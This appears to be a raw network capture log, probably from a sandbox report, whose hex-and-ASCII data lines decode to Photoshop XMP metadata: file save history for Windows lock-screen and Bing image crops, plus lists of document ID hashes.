2022-07-20 11:24:37 UTC	1639	IN	Data Raw: 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 42 69 6e 67 41 74 57 6f 72 6b 5c 43 48 4f 53 45 4e 5c 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 36 35 31 33 34 33 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 31 3a 34 34 3a 35 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 42 69 6e 67 41 74 57 6f 72 6b 5c 43 48 4f 53 45 4e 5c 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 39 33 39 30 37 37 35 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 Data Ascii: rs\v-lizagh\MS\Windows10\Bing\BingAtWork\CHOSEN\BingAtWork_GettyImages-466513438_1920x1080.jpg saved 2017-04-12T11:44:58-07:00 File C:\Users\v-lizagh\MS\Windows10\Bing\BingAtWork\CHOSEN\BingAtWork_GettyImages-493907750_1920x1080.jpg saved 2017
2022-07-20 11:24:37 UTC	1655	IN	Data Raw: 63 61 70 65 2e 70 73 64 20 63 6c 6f 73 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 38 54 31 38 3a 31 34 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 30 35 54 30 39 3a 30 36 3a 31 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 30 35 54 30 39 3a 31 30 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 Data Ascii: cape.psd closed 2017-04-28T18:14:39-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-05-05T09:06:18-07:00 File Lockscreen_1920x1080_Landscape.psd opened 2017-05-05T09:10:59-07:00 File C:\Users
2022-07-20 11:24:37 UTC	1662	IN	Data Raw: 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 35 37 35 38 37 36 33 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 30 38 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 47 65 6e 65 72 61 6c 2d 53 70 6f 74 6c 69 67 68 74 5f 51 34 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 35 37 35 38 37 36 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 30 39 3a 35 38 2d 30 37 3a 30 30 26 23 78 39 Data Ascii: fficeGeneric_GettyImages-175758763_1920x1080.psd saved 2017-05-12T16:08:26-07:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-General-Spotlight_Q4\Crops\OfficeGeneric_GettyImages-175758763_1920x1080.jpg saved 2017-05-12T16:09:58-07:00&#x9
2022-07-20 11:24:37 UTC	1710	IN	Data Raw: 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 31 38 54 31 31 3a 35 39 3a 32 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6d 62 6c 65 64 6f 6e 5c 43 68 6f 73 65 6e 5c 4d 49 54 2d 57 69 6d 62 6c 65 64 6f 6e 5f 34 37 30 31 30 38 35 35 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 32 30 54 30 39 3a 35 32 3a 33 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 Data Ascii: ape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-06-18T11:59:27-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\Wimbledon\Chosen\MIT-Wimbledon_470108550_1920x1080.jpg saved 2017-06-20T09:52:36-07:00 File Lockscreen_1920x1080_Land
2022-07-20 11:24:37 UTC	1750	IN	Data Raw: 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 33 3a 34 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 43 68 6f 73 65 6e 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 46 59 31 38 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 30 36 37 33 33 31 35 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 34 3a 34 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e Data Ascii: _Landscape.psd opened 2017-07-26T13:23:41-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\Chosen\MixerEngagementFY18_GettyImages-160673315_1920x1080.psd saved 2017-07-26T13:24:43-07:00 File C:\Users\v-lizagh\MS\Win
2022-07-20 11:24:37 UTC	1838	IN	Data Raw: 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 31 36 3a 33 33 3a 33 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 32 30 3a 35 37 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 Data Ascii: 41D85C30DE643DF5B579.psb saved 2017-08-03T16:33:31-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-08-03T20:57:50-07:00 F
2022-07-20 11:24:37 UTC	1902	IN	Data Raw: 32 30 31 37 2d 30 39 2d 32 35 54 31 33 3a 30 36 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 52 4f 55 4e 44 32 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 4d 4d 58 2d 52 64 32 5f 35 30 30 70 78 2d 31 38 32 32 36 35 37 33 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 35 54 31 33 3a 31 33 3a 35 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 57 69 6e 64 6f 77 73 4d 4d 58 2d 52 64 32 5f 35 30 30 70 78 2d 31 38 32 32 36 35 37 33 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 35 54 31 Data Ascii: 2017-09-25T13:06:26-07:00 File C:\Users\v-lizagh\MS\Windows10\Windows\MMX\ROUND2\_CHOSEN\Crops\WindowsMMX-Rd2_500px-18226573_1920x1080.psd saved 2017-09-25T13:13:52-07:00 File WindowsMMX-Rd2_500px-18226573_1920x1080.psd opened 2017-09-25T1
2022-07-20 11:24:37 UTC	1981	IN	Data Raw: 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 30 31 54 31 33 3a 32 39 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 30 31 54 31 33 3a 33 33 3a 35 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 43 6f 6c 6c 65 67 65 46 6f 6f 74 62 61 6c 6c 5c 52 45 46 52 45 53 48 5c 43 72 6f 70 73 5c 4d 49 54 2d 4e 46 4c 43 6f 6c 6c 65 67 65 46 6f Data Ascii: 10\Lockscreen_1920x1080_Landscape.psd saved 2017-11-01T13:29:50-07:00 File Lockscreen_1920x1080_Landscape.psd opened 2017-11-01T13:33:51-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\CollegeFootball\REFRESH\Crops\MIT-NFLCollegeFo
2022-07-20 11:24:37 UTC	2020	IN	Data Raw: 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 5f 43 48 4f 53 45 4e 5c 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 2d 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 38 33 30 31 34 31 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 37 54 31 35 3a 35 35 3a 34 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 5f 43 48 4f 53 45 4e 5c 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 2d 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 33 38 34 39 35 39 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 Data Ascii: ice\Spotlight_FY17\_CHOSEN\Skype\Crops\Office-Skype_GettyImages-168301416_1920x1080.jpg saved 2017-11-17T15:55:47-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\Spotlight_FY17\_CHOSEN\Skype\Crops\Office-Skype_GettyImages-503849593_1920x1080.jpg
2022-07-20 11:24:37 UTC	2116	IN	Data Raw: 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 2d 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 32 35 39 31 38 32 38 32 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 36 3a 32 34 3a 34 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 2d 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 31 35 35 30 35 35 34 Data Ascii: ows10\Microsoft\AndroidLauncher\CHOSEN\Crops\MS-AndroidLauncher_GettyImages-125918282_1920x1080.psd saved 2017-12-14T16:24:49-08:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\AndroidLauncher\CHOSEN\Crops\MS-AndroidLauncher_GettyImages-531550554
2022-07-20 11:24:37 UTC	2132	IN	Data Raw: 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 46 65 62 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 37 36 36 38 35 31 35 35 37 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 32 34 54 31 37 3a 32 39 3a 35 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 46 65 62 32 30 31 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 46 65 62 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 35 38 38 32 36 36 31 35 39 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 Data Ascii: CHOSEN\Crops\MIT-WinterEntFeb_GettyImages-766851557_1920x1080.jpg saved 2018-01-24T17:29:50-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WinterEntertainment\Feb2018\CHOSEN\Crops\MIT-WinterEntFeb_shutterstock_588266159_1920x1080.jpg save
2022-07-20 11:24:37 UTC	2203	IN	Data Raw: 3a 35 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 68 69 6e 61 5c 50 69 70 61 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 68 69 6e 61 2d 50 69 70 61 5f 41 6c 61 6d 79 2d 44 48 36 58 54 52 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 30 38 54 31 33 3a 35 31 3a 34 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 68 69 6e 61 5c 50 69 70 61 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 68 69 6e 61 2d 50 69 70 61 5f 41 6c 61 6d 79 2d 44 48 36 58 54 52 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 Data Ascii: :53-08:00 File C:\Users\v-lizagh\MS\Windows10\China\Pipa\CHOSEN\Crops\China-Pipa_Alamy-DH6XTR_1920x1080.psd saved 2018-02-08T13:51:48-08:00 File C:\Users\v-lizagh\MS\Windows10\China\Pipa\CHOSEN\Crops\China-Pipa_Alamy-DH6XTR_1920x1080.jpg saved
2022-07-20 11:24:37 UTC	2291	IN	Data Raw: 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 44 36 31 35 44 35 46 38 38 34 42 44 42 39 37 46 39 38 46 38 45 42 46 31 42 32 46 36 35 39 33 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 31 35 54 30 31 3a 32 31 3a 33 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 54 72 61 76 65 6c 2d 55 4b 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 54 72 61 76 65 6c 2d 55 4b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 35 31 34 38 33 36 Data Ascii: dobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_LandscapeD615D5F884BDB97F98F8EBF1B2F65935.psb saved 2018-03-15T01:21:32-07:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\Travel-UK\_CHOSEN\Crops\MIT-Travel-UK_GettyImages-15514836
2022-07-20 11:24:37 UTC	2339	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 37 33 43 42 33 35 38 43 34 44 44 31 39 39 36 35 33 39 41 39 45 32 39 39 31 38 39 31 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 37 37 33 34 34 46 39 30 42 32 41 41 42 44 32 43 33 32 31 41 45 32 31 37 46 43 34 30 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 37 44 44 32 38 31 33 30 44 37 45 46 36 37 34 30 38 43 44 34 35 38 42 41 46 30 30 31 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 37 46 46 39 35 45 42 39 32 41 44 44 42 45 31 37 35 30 32 41 31 33 41 46 34 39 44 39 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 38 35 36 34 41 43 42 32 36 34 31 45 42 38 36 42 39 33 35 38 37 34 33 43 44 32 45 45 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 Data Ascii: > <rdf:li>0573CB358C4DD1996539A9E2991891AE</rdf:li> <rdf:li>0577344F90B2AABD2C321AE217FC403A</rdf:li> <rdf:li>057DD28130D7EF67408CD458BAF00149</rdf:li> <rdf:li>057FF95EB92ADDBE17502A13AF49D944</rdf:li> <rdf:li>058564ACB2641EB86B9358743CD2EE7F</rdf:li> <rd
2022-07-20 11:24:37 UTC	2402	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 30 43 31 43 37 33 35 33 43 41 30 37 41 34 44 38 34 30 30 39 41 39 31 32 39 38 42 42 46 37 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 31 46 44 46 34 38 32 32 44 45 33 39 41 36 36 41 33 43 36 32 31 32 36 33 45 36 45 39 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 32 33 44 33 42 35 32 39 46 42 32 44 46 36 42 35 46 30 36 31 32 45 46 46 41 37 43 42 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 33 30 39 30 38 37 38 38 38 30 33 42 38 43 30 37 36 32 32 33 30 31 33 32 31 43 35 44 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 34 45 32 30 45 44 35 43 42 41 43 36 45 32 36 32 43 37 41 36 43 44 38 39 45 38 43 45 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: <rdf:li>0C1C7353CA07A4D84009A91298BBF788</rdf:li> <rdf:li>0C1FDF4822DE39A66A3C621263E6E95B</rdf:li> <rdf:li>0C23D3B529FB2DF6B5F0612EFFA7CB7F</rdf:li> <rdf:li>0C30908788803B8C07622301321C5DC3</rdf:li> <rdf:li>0C4E20ED5CBAC6E262C7A6CD89E8CEE5</rdf:li> <rdf:
2022-07-20 11:24:37 UTC	2490	IN	Data Raw: 41 44 32 32 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 31 36 46 35 30 37 36 31 34 45 32 35 38 33 38 30 46 38 43 33 39 35 31 44 34 46 32 44 45 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 32 43 37 37 43 45 38 38 38 30 43 36 30 33 39 43 42 30 43 39 43 36 43 39 31 42 31 37 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 33 33 34 45 42 37 43 37 31 39 39 46 45 37 34 41 35 39 32 46 38 36 43 30 41 31 38 42 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 33 33 43 33 42 37 33 43 35 36 42 46 42 33 39 36 39 39 42 46 45 43 39 44 46 30 46 31 42 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 35 35 42 39 45 39 37 39 36 46 32 38 33 36 38 42 37 34 39 34 30 44 30 43 33 46 41 36 38 Data Ascii: AD22E2</rdf:li> <rdf:li>1916F507614E258380F8C3951D4F2DE7</rdf:li> <rdf:li>192C77CE8880C6039CB0C9C6C91B173D</rdf:li> <rdf:li>19334EB7C7199FE74A592F86C0A18B1C</rdf:li> <rdf:li>1933C3B73C56BFB39699BFEC9DF0F1B6</rdf:li> <rdf:li>1955B9E9796F28368B74940D0C3FA68
2022-07-20 11:24:37 UTC	2506	IN	Data Raw: 30 45 34 35 43 44 45 35 41 30 31 41 43 35 35 32 39 38 34 32 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 31 31 34 41 34 32 32 32 41 31 37 32 34 37 32 34 33 46 31 38 31 35 46 38 42 31 44 33 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 31 36 32 45 33 46 34 36 36 46 32 37 30 36 37 31 34 45 44 37 45 38 37 44 44 46 38 35 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 31 42 46 36 31 39 46 33 45 36 38 45 37 38 30 39 46 35 34 35 42 38 46 45 34 41 44 42 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 32 43 41 31 34 39 41 33 32 31 36 42 43 42 33 38 39 39 31 41 42 37 42 34 34 35 35 42 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 35 44 37 44 45 45 38 31 42 42 35 30 34 Data Ascii: 0E45CDE5A01AC552984211</rdf:li> <rdf:li>27114A4222A17247243F1815F8B1D351</rdf:li> <rdf:li>27162E3F466F2706714ED7E87DDF85D0</rdf:li> <rdf:li>271BF619F3E68E7809F545B8FE4ADBFC</rdf:li> <rdf:li>272CA149A3216BCB38991AB7B4455B39</rdf:li> <rdf:li>275D7DEE81BB504
2022-07-20 11:24:37 UTC	2569	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 43 35 45 34 38 33 42 32 46 31 34 33 37 36 37 33 43 37 39 31 41 44 45 39 39 41 45 43 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 43 42 37 32 43 32 35 37 43 35 35 30 31 37 38 45 41 37 33 41 38 34 44 38 31 42 45 36 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 44 39 45 42 35 43 39 32 42 32 43 35 38 36 33 36 46 34 32 43 33 42 46 43 45 37 35 43 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 44 46 31 33 36 33 35 45 38 33 46 32 43 44 37 38 31 38 34 44 38 42 41 37 37 39 41 34 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 45 31 36 31 41 32 39 44 45 45 35 32 41 45 33 32 30 45 38 35 37 31 32 45 37 41 46 38 44 34 3c 2f 72 64 66 3a Data Ascii: /rdf:li> <rdf:li>2CC5E483B2F1437673C791ADE99AEC49</rdf:li> <rdf:li>2CCB72C257C550178EA73A84D81BE6C4</rdf:li> <rdf:li>2CD9EB5C92B2C58636F42C3BFCE75C10</rdf:li> <rdf:li>2CDF13635E83F2CD78184D8BA779A475</rdf:li> <rdf:li>2CE161A29DEE52AE320E85712E7AF8D4</rdf:
2022-07-20 11:24:37 UTC	2633	IN	Data Raw: 42 33 31 30 39 38 31 41 30 44 36 45 33 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 37 41 38 39 36 34 42 41 42 37 41 45 30 39 36 36 45 34 44 37 35 35 39 32 35 45 46 36 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 38 30 32 43 43 45 35 42 43 39 30 37 39 32 33 41 42 36 34 34 42 37 41 45 39 33 45 44 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 38 32 46 35 38 35 31 42 33 42 38 31 38 35 34 37 39 34 37 34 32 39 32 33 46 43 41 37 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 38 34 36 41 43 44 46 38 34 41 38 30 43 37 30 45 44 41 30 36 46 39 31 41 43 34 31 39 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 38 34 43 30 38 34 35 35 35 35 37 33 31 33 41 35 36 30 35 34 Data Ascii: B310981A0D6E302</rdf:li> <rdf:li>3A7A8964BAB7AE0966E4D755925EF638</rdf:li> <rdf:li>3A802CCE5BC907923AB644B7AE93ED53</rdf:li> <rdf:li>3A82F5851B3B81854794742923FCA7C8</rdf:li> <rdf:li>3A846ACDF84A80C70EDA06F91AC4197D</rdf:li> <rdf:li>3A84C08455557313A56054
